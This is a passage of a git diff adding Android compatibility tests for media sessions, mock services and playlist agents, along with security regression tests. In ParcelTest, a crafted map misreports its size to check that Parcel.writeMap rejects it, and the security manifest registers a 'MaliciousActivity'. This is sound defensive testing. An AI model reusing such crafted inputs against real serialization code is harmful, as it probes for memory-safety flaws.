+ mManager.removeOnSessionTokensChangedListener(listener);
+ }
+
+ @Test
+ public void testRemoveOnSessionTokensChangedListener() throws InterruptedException {
+ TokensChangedListener listener = new TokensChangedListener();
+ mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+ listener.reset();
+ MediaSession2 session1 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+
+ mManager.removeOnSessionTokensChangedListener(listener);
+
+ listener.reset();
+ session1.close();
+ assertFalse(listener.await());
+
+ listener.reset();
+ MediaSession2 session2 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertFalse(listener.await());
+
+ listener.reset();
+ MediaSession2 session3 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertFalse(listener.await());
+
+ listener.reset();
+ session2.close();
+ assertFalse(listener.await());
+
+ listener.reset();
+ session3.close();
+ assertFalse(listener.await());
+ }
+
+ private class TokensChangedListener implements OnSessionTokensChangedListener {
+ private CountDownLatch mLatch;
+ private List<SessionToken2> mTokens;
+
+ private void reset() {
+ mLatch = new CountDownLatch(1);
+ mTokens = null;
+ }
+
+ private boolean await() throws InterruptedException {
+ return mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS);
+ }
+
+ private boolean findToken(SessionToken2 token) {
+ return mTokens.contains(token);
+ }
+
+ @Override
+ public void onSessionTokensChanged(List<SessionToken2> tokens) {
+ mTokens = tokens;
+ mLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
new file mode 100644
index 0000000..4c4b3f6
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
@@ -0,0 +1,236 @@
+/*
+* Copyright 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+package android.media.cts;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.SessionToken2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Bundle;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import java.io.FileDescriptor;
+import java.util.ArrayList;
+import java.util.List;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Mock implementation of {@link MediaLibraryService2} for testing.
+ */
+public class MockMediaLibraryService2 extends MediaLibraryService2 {
+ // Keep in sync with the AndroidManifest.xml
+ public static final String ID = "TestLibrary";
+
+ public static final String ROOT_ID = "rootId";
+ public static final Bundle EXTRAS = new Bundle();
+
+ public static final String MEDIA_ID_GET_ITEM = "media_id_get_item";
+
+ public static final String PARENT_ID = "parent_id";
+ public static final String PARENT_ID_NO_CHILDREN = "parent_id_no_children";
+ public static final String PARENT_ID_ERROR = "parent_id_error";
+
+ public static final List<MediaItem2> GET_CHILDREN_RESULT = new ArrayList<>();
+ public static final int CHILDREN_COUNT = 100;
+
+ public static final String SEARCH_QUERY = "search_query";
+ public static final String SEARCH_QUERY_TAKES_TIME = "search_query_takes_time";
+ public static final int SEARCH_TIME_IN_MS = 5000;
+ public static final String SEARCH_QUERY_EMPTY_RESULT = "search_query_empty_result";
+
+ public static final List<MediaItem2> SEARCH_RESULT = new ArrayList<>();
+ public static final int SEARCH_RESULT_COUNT = 50;
+
+ private static final DataSourceDesc DATA_SOURCE_DESC =
+ new DataSourceDesc.Builder().setDataSource(new FileDescriptor()).build();
+
+ private static final String TAG = "MockMediaLibrarySvc2";
+
+ static {
+ EXTRAS.putString(ROOT_ID, ROOT_ID);
+ }
+ @GuardedBy("MockMediaLibraryService2.class")
+ private static SessionToken2 sToken;
+
+ private MediaLibrarySession mSession;
+
+ public MockMediaLibraryService2() {
+ super();
+ GET_CHILDREN_RESULT.clear();
+ String getChildrenMediaIdPrefix = "get_children_media_id_";
+ for (int i = 0; i < CHILDREN_COUNT; i++) {
+ GET_CHILDREN_RESULT.add(createMediaItem(getChildrenMediaIdPrefix + i));
+ }
+
+ SEARCH_RESULT.clear();
+ String getSearchResultMediaIdPrefix = "get_search_result_media_id_";
+ for (int i = 0; i < SEARCH_RESULT_COUNT; i++) {
+ SEARCH_RESULT.add(createMediaItem(getSearchResultMediaIdPrefix + i));
+ }
+ }
+
+ @Override
+ public void onCreate() {
+ TestServiceRegistry.getInstance().setServiceInstance(this);
+ super.onCreate();
+ }
+
+ @Override
+ public MediaLibrarySession onCreateSession(String sessionId) {
+ final MockPlayer player = new MockPlayer(1);
+ final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+ final Executor executor = (runnable) -> handler.post(runnable);
+ MediaLibrarySessionCallback librarySessionCallback = (MediaLibrarySessionCallback)
+ TestServiceRegistry.getInstance().getSessionCallback();
+ if (librarySessionCallback == null) {
+ // Use default callback
+ librarySessionCallback = new TestLibrarySessionCallback();
+ }
+ mSession = new MediaLibrarySession.Builder(MockMediaLibraryService2.this, executor,
+ librarySessionCallback).setPlayer(player).setId(sessionId).build();
+ return mSession;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ public static SessionToken2 getToken(Context context) {
+ synchronized (MockMediaLibraryService2.class) {
+ if (sToken == null) {
+ sToken = new SessionToken2(context, context.getPackageName(),
+ MockMediaLibraryService2.class.getName());
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, sToken.getType());
+ }
+ return sToken;
+ }
+ }
+
+ private class TestLibrarySessionCallback extends MediaLibrarySessionCallback {
+ @Override
+ public LibraryRoot onGetLibraryRoot(MediaLibrarySession session, ControllerInfo controller,
+ Bundle rootHints) {
+ return new LibraryRoot(ROOT_ID, EXTRAS);
+ }
+
+ @Override
+ public MediaItem2 onGetItem(MediaLibrarySession session, ControllerInfo controller,
+ String mediaId) {
+ if (MEDIA_ID_GET_ITEM.equals(mediaId)) {
+ return createMediaItem(mediaId);
+ } else {
+ return null;
+ }
+ }
+
+ @Override
+ public List<MediaItem2> onGetChildren(MediaLibrarySession session,
+ ControllerInfo controller, String parentId, int page, int pageSize, Bundle extras) {
+ if (PARENT_ID.equals(parentId)) {
+ return getPaginatedResult(GET_CHILDREN_RESULT, page, pageSize);
+ } else if (PARENT_ID_ERROR.equals(parentId)) {
+ return null;
+ }
+ // Includes the case of PARENT_ID_NO_CHILDREN.
+ return new ArrayList<>();
+ }
+
+ @Override
+ public void onSearch(MediaLibrarySession session, ControllerInfo controllerInfo,
+ String query, Bundle extras) {
+ if (SEARCH_QUERY.equals(query)) {
+ mSession.notifySearchResultChanged(controllerInfo, query, SEARCH_RESULT_COUNT,
+ extras);
+ } else if (SEARCH_QUERY_TAKES_TIME.equals(query)) {
+ // Searching takes some time. Notify after 5 seconds.
+ Executors.newSingleThreadScheduledExecutor().schedule(new Runnable() {
+ @Override
+ public void run() {
+ mSession.notifySearchResultChanged(
+ controllerInfo, query, SEARCH_RESULT_COUNT, extras);
+ }
+ }, SEARCH_TIME_IN_MS, TimeUnit.MILLISECONDS);
+ } else if (SEARCH_QUERY_EMPTY_RESULT.equals(query)) {
+ mSession.notifySearchResultChanged(controllerInfo, query, 0, extras);
+ } else {
+ // TODO: For the error case, how should we notify the browser?
+ }
+ }
+
+ @Override
+ public List<MediaItem2> onGetSearchResult(MediaLibrarySession session,
+ ControllerInfo controllerInfo, String query, int page, int pageSize,
+ Bundle extras) {
+ if (SEARCH_QUERY.equals(query)) {
+ return getPaginatedResult(SEARCH_RESULT, page, pageSize);
+ } else {
+ return null;
+ }
+ }
+ }
+
+ private List<MediaItem2> getPaginatedResult(List<MediaItem2> items, int page, int pageSize) {
+ if (items == null) {
+ return null;
+ } else if (items.size() == 0) {
+ return new ArrayList<>();
+ }
+
+ final int totalItemCount = items.size();
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(page * pageSize, totalItemCount);
+
+ List<MediaItem2> paginatedResult = new ArrayList<>();
+ try {
+ // The case of (fromIndex >= totalItemCount) will throw exception below.
+ paginatedResult = items.subList(fromIndex, toIndex);
+ } catch (IndexOutOfBoundsException | IllegalArgumentException ex) {
+ Log.d(TAG, "Result is empty for given pagination arguments: totalItemCount="
+ + totalItemCount + ", page=" + page + ", pageSize=" + pageSize, ex);
+ }
+ return paginatedResult;
+ }
+
+ private MediaItem2 createMediaItem(String mediaId) {
+ Context context = MockMediaLibraryService2.this;
+ return new MediaItem2.Builder(0 /* Flags */)
+ .setMediaId(mediaId)
+ .setDataSourceDesc(DATA_SOURCE_DESC)
+ .setMetadata(new MediaMetadata2.Builder()
+ .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId)
+ .build())
+ .build();
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
new file mode 100644
index 0000000..330637e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.media.MediaSession2;
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Mock implementation of {@link MediaSessionService2} for testing.
+ */
+public class MockMediaSessionService2 extends MediaSessionService2 {
+ // Keep in sync with the AndroidManifest.xml
+ public static final String ID = "TestSession";
+
+ private static final String DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID = "media_session_service";
+ private static final int DEFAULT_MEDIA_NOTIFICATION_ID = 1001;
+
+ private NotificationChannel mDefaultNotificationChannel;
+ private MediaSession2 mSession;
+ private NotificationManager mNotificationManager;
+
+ @Override
+ public void onCreate() {
+ TestServiceRegistry.getInstance().setServiceInstance(this);
+ super.onCreate();
+ mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ }
+
+ @Override
+ public MediaSession2 onCreateSession(String sessionId) {
+ final MockPlayer player = new MockPlayer(1);
+ final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+ final Executor executor = (runnable) -> handler.post(runnable);
+ SessionCallback sessionCallback = TestServiceRegistry.getInstance().getSessionCallback();
+ if (sessionCallback == null) {
+ // Ensures non-null
+ sessionCallback = new SessionCallback() {};
+ }
+ mSession = new MediaSession2.Builder(this)
+ .setPlayer(player)
+ .setSessionCallback(executor, sessionCallback)
+ .setId(sessionId).build();
+ return mSession;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ @Override
+ public MediaNotification onUpdateNotification() {
+ if (mDefaultNotificationChannel == null) {
+ mDefaultNotificationChannel = new NotificationChannel(
+ DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+ DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_DEFAULT);
+ mNotificationManager.createNotificationChannel(mDefaultNotificationChannel);
+ }
+ Notification notification = new Notification.Builder(
+ this, DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID)
+ .setContentTitle(getPackageName())
+ .setContentText("Dummt test notification")
+ .setSmallIcon(android.R.drawable.sym_def_app_icon).build();
+ return new MediaNotification(DEFAULT_MEDIA_NOTIFICATION_ID, notification);
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
new file mode 100644
index 0000000..ca7bc92
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlaylistAgent;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A mock implementation of {@link MediaPlaylistAgent} for testing.
+ * <p>
+ * Do not use mockito for {@link MediaPlaylistAgent}. Instead, use this.
+ * Mocks created from mockito should not be shared across different threads.
+ */
+public class MockPlaylistAgent extends MediaPlaylistAgent {
+ public final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+ public List<MediaItem2> mPlaylist;
+ public MediaMetadata2 mMetadata;
+ public MediaItem2 mItem;
+ public int mIndex = -1;
+ public @RepeatMode int mRepeatMode = -1;
+ public @ShuffleMode int mShuffleMode = -1;
+
+ public boolean mSetPlaylistCalled;
+ public boolean mUpdatePlaylistMetadataCalled;
+ public boolean mAddPlaylistItemCalled;
+ public boolean mRemovePlaylistItemCalled;
+ public boolean mReplacePlaylistItemCalled;
+ public boolean mSkipToPlaylistItemCalled;
+ public boolean mSkipToPreviousItemCalled;
+ public boolean mSkipToNextItemCalled;
+ public boolean mSetRepeatModeCalled;
+ public boolean mSetShuffleModeCalled;
+
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return mPlaylist;
+ }
+
+ @Override
+ public void setPlaylist(List<MediaItem2> list, MediaMetadata2 metadata) {
+ mSetPlaylistCalled = true;
+ mPlaylist = list;
+ mMetadata = metadata;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return mMetadata;
+ }
+
+ @Override
+ public void updatePlaylistMetadata(MediaMetadata2 metadata) {
+ mUpdatePlaylistMetadataCalled = true;
+ mMetadata = metadata;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void addPlaylistItem(int index, MediaItem2 item) {
+ mAddPlaylistItemCalled = true;
+ mIndex = index;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void removePlaylistItem(MediaItem2 item) {
+ mRemovePlaylistItemCalled = true;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void replacePlaylistItem(int index, MediaItem2 item) {
+ mReplacePlaylistItemCalled = true;
+ mIndex = index;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToPlaylistItem(MediaItem2 item) {
+ mSkipToPlaylistItemCalled = true;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToPreviousItem() {
+ mSkipToPreviousItemCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToNextItem() {
+ mSkipToNextItemCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public int getRepeatMode() {
+ return mRepeatMode;
+ }
+
+ @Override
+ public void setRepeatMode(int repeatMode) {
+ mSetRepeatModeCalled = true;
+ mRepeatMode = repeatMode;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public int getShuffleMode() {
+ return mShuffleMode;
+ }
+
+ @Override
+ public void setShuffleMode(int shuffleMode) {
+ mSetShuffleModeCalled = true;
+ mShuffleMode = shuffleMode;
+ mCountDownLatch.countDown();
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/SessionToken2Test.java b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
new file mode 100644
index 0000000..a930698
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.SessionToken2;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link SessionToken2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SessionToken2Test {
+ private Context mContext;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ @Test
+ public void testConstructor_sessionService() {
+ SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+ MockMediaSessionService2.class.getCanonicalName());
+ assertEquals(MockMediaSessionService2.ID, token.getId());
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(Process.myUid(), token.getUid());
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ }
+
+ @Test
+ public void testConstructor_libraryService() {
+ SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+ MockMediaLibraryService2.class.getCanonicalName());
+ assertEquals(MockMediaLibraryService2.ID, token.getId());
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(Process.myUid(), token.getUid());
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/TestServiceRegistry.java b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
new file mode 100644
index 0000000..a904be4
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.fail;
+
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Handler;
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+/**
+ * Keeps the instance of currently running {@link MockMediaSessionService2}. And also provides
+ * a way to control them in one place.
+ * <p>
+ * It only support only one service at a time.
+ */
+public class TestServiceRegistry {
+ @GuardedBy("TestServiceRegistry.class")
+ private static TestServiceRegistry sInstance;
+ @GuardedBy("TestServiceRegistry.class")
+ private MediaSessionService2 mService;
+ @GuardedBy("TestServiceRegistry.class")
+ private SyncHandler mHandler;
+ @GuardedBy("TestServiceRegistry.class")
+ private SessionCallback mSessionCallback;
+ @GuardedBy("TestServiceRegistry.class")
+ private SessionServiceCallback mSessionServiceCallback;
+
+ /**
+ * Callback for session service's lifecyle (onCreate() / onDestroy())
+ */
+ public interface SessionServiceCallback {
+ default void onCreated() {}
+ default void onDestroyed() {}
+ }
+
+ public static TestServiceRegistry getInstance() {
+ synchronized (TestServiceRegistry.class) {
+ if (sInstance == null) {
+ sInstance = new TestServiceRegistry();
+ }
+ return sInstance;
+ }
+ }
+
+ public void setHandler(Handler handler) {
+ synchronized (TestServiceRegistry.class) {
+ mHandler = new SyncHandler(handler.getLooper());
+ }
+ }
+
+ public Handler getHandler() {
+ synchronized (TestServiceRegistry.class) {
+ return mHandler;
+ }
+ }
+
+ public void setSessionServiceCallback(SessionServiceCallback sessionServiceCallback) {
+ synchronized (TestServiceRegistry.class) {
+ mSessionServiceCallback = sessionServiceCallback;
+ }
+ }
+
+ public void setSessionCallback(SessionCallback sessionCallback) {
+ synchronized (TestServiceRegistry.class) {
+ mSessionCallback = sessionCallback;
+ }
+ }
+
+ public SessionCallback getSessionCallback() {
+ synchronized (TestServiceRegistry.class) {
+ return mSessionCallback;
+ }
+ }
+
+ public void setServiceInstance(MediaSessionService2 service) {
+ synchronized (TestServiceRegistry.class) {
+ if (mService != null) {
+ fail("Previous service instance is still running. Clean up manually to ensure"
+ + " previoulsy running service doesn't break current test");
+ }
+ mService = service;
+ if (mSessionServiceCallback != null) {
+ mSessionServiceCallback.onCreated();
+ }
+ }
+ }
+
+ public MediaSessionService2 getServiceInstance() {
+ synchronized (TestServiceRegistry.class) {
+ return mService;
+ }
+ }
+
+ public void cleanUp() {
+ synchronized (TestServiceRegistry.class) {
+ if (mService != null) {
+ // TODO(jaewan): Remove this, and override SessionService#onDestroy() to do this
+ mService.getSession().close();
+ // stopSelf() would not kill service while the binder connection established by
+ // bindService() exists, and close() above will do the job instead.
+ // So stopSelf() isn't really needed, but just for sure.
+ mService.stopSelf();
+ mService = null;
+ }
+ if (mHandler != null) {
+ mHandler.removeCallbacksAndMessages(null);
+ }
+ mSessionCallback = null;
+ if (mSessionServiceCallback != null) {
+ mSessionServiceCallback.onDestroyed();
+ mSessionServiceCallback = null;
+ }
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index b64a856..f86f150 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -21,6 +21,9 @@
import android.content.Context;
import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.SessionToken2;
import android.media.session.MediaSessionManager;
import android.os.Bundle;
import android.os.Handler;
@@ -41,6 +44,28 @@
private static final int WAIT_SERVICE_TIME_MS = 5000;
/**
+ * Finds the session with id in this test package.
+ *
+ * @param context
+ * @param id
+ * @return
+ */
+ public static SessionToken2 getServiceToken(Context context, String id) {
+ MediaSessionManager manager =
+ (MediaSessionManager) context.getSystemService(Context.MEDIA_SESSION_SERVICE);
+ List<SessionToken2> tokens = manager.getSessionServiceTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (context.getPackageName().equals(token.getPackageName())
+ && id.equals(token.getId())) {
+ return token;
+ }
+ }
+ fail("Failed to find service");
+ return null;
+ }
+
+ /**
* Compares contents of two bundles.
*
* @param a a bundle
@@ -67,6 +92,75 @@
return true;
}
+ /**
+ * Create a playlist for testing purpose
+ * <p>
+ * Caller's method name will be used for prefix of each media item's media id.
+ *
+ * @param size lits size
+ * @return the newly created playlist
+ */
+ public static List<MediaItem2> createPlaylist(int size) {
+ final List<MediaItem2> list = new ArrayList<>();
+ String caller = Thread.currentThread().getStackTrace()[1].getMethodName();
+ for (int i = 0; i < size; i++) {
+ list.add(new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+ .setMediaId(caller + "_item_" + (size + 1))
+ .setDataSourceDesc(
+ new DataSourceDesc.Builder()
+ .setDataSource(new FileDescriptor())
+ .build())
+ .build());
+ }
+ return list;
+ }
+
+ /**
+ * Create a media item with the metadata for testing purpose.
+ *
+ * @return the newly created media item
+ * @see #createMetadata()
+ */
+ public static MediaItem2 createMediaItemWithMetadata() {
+ return new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+ .setMetadata(createMetadata()).build();
+ }
+
+ /**
+ * Create a media metadata for testing purpose.
+ * <p>
+ * Caller's method name will be used for the media id.
+ *
+ * @return the newly created media item
+ */
+ public static MediaMetadata2 createMetadata() {
+ String mediaId = Thread.currentThread().getStackTrace()[1].getMethodName();
+ return new MediaMetadata2.Builder()
+ .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId).build();
+ }
+
+ /**
+ * Handler that always waits until the Runnable finishes.
+ */
+ public static class SyncHandler extends Handler {
+ public SyncHandler(Looper looper) {
+ super(looper);
+ }
+
+ public void postAndSync(Runnable runnable) throws InterruptedException {
+ if (getLooper() == Looper.myLooper()) {
+ runnable.run();
+ } else {
+ final CountDownLatch latch = new CountDownLatch(1);
+ post(()->{
+ runnable.run();
+ latch.countDown();
+ });
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+ }
+
public static class Monitor {
private int mNumSignal;
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 7645477..3715850 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,7 +19,11 @@
import java.io.FileDescriptor;
import java.io.Serializable;
import java.util.ArrayList;
+import java.util.Collection;
import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
import android.content.pm.Signature;
import android.os.BadParcelableException;
@@ -3250,4 +3254,58 @@
} catch (RuntimeException expected) {
}
}
+
+ public void testMaliciousMapWrite() {
+ class MaliciousMap<K, V> extends HashMap<K, V> {
+ public int fakeSize = 0;
+ public boolean armed = false;
+
+ class FakeEntrySet extends HashSet<Entry<K, V>> {
+ public FakeEntrySet(Collection<? extends Entry<K, V>> c) {
+ super(c);
+ }
+
+ @Override
+ public int size() {
+ if (armed) {
+ // Only return fake size on next call, to mitigate unexpected behavior.
+ armed = false;
+ return fakeSize;
+ } else {
+ return super.size();
+ }
+ }
+ }
+
+ @Override
+ public Set<Map.Entry<K, V>> entrySet() {
+ return new FakeEntrySet(super.entrySet());
+ }
+ }
+
+ Parcel parcel = Parcel.obtain();
+
+ // Fake having more Map entries than there really are
+ MaliciousMap map = new MaliciousMap<String, String>();
+ map.fakeSize = 1;
+ map.armed = true;
+ try {
+ parcel.writeMap(map);
+ fail("Should have thrown a BadParcelableException");
+ } catch (BadParcelableException bpe) {
+ // good
+ }
+
+ // Fake having fewer Map entries than there really are
+ map = new MaliciousMap<String, String>();
+ map.put("key", "value");
+ map.fakeSize = 0;
+ map.armed = true;
+ try {
+ parcel.writeMap(map);
+ fail("Should have thrown a BadParcelableException");
+ } catch (BadParcelableException bpe) {
+ // good
+ }
+ }
}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index b2412f69..130e5a4 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -49,6 +49,10 @@
<category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
</intent-filter>
</activity>
+
+ <activity android:name="android.security.cts.ActivityManagerTest$NormalActivity" />
+ <activity android:name="android.security.cts.ActivityManagerTest$MaliciousActivity" />
+ <service android:name="android.security.cts.ActivityManagerTest$AppMonitoringService" />
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
old mode 100755
new mode 100644
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
new file mode 100644
index 0000000..5544ffe
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64710074.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index ae75ec9..113d7ea 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,16 +15,48 @@
*/
package android.security.cts;
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
import android.os.IBinder;
+import android.os.Process;
import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+import android.view.WindowManager;
+
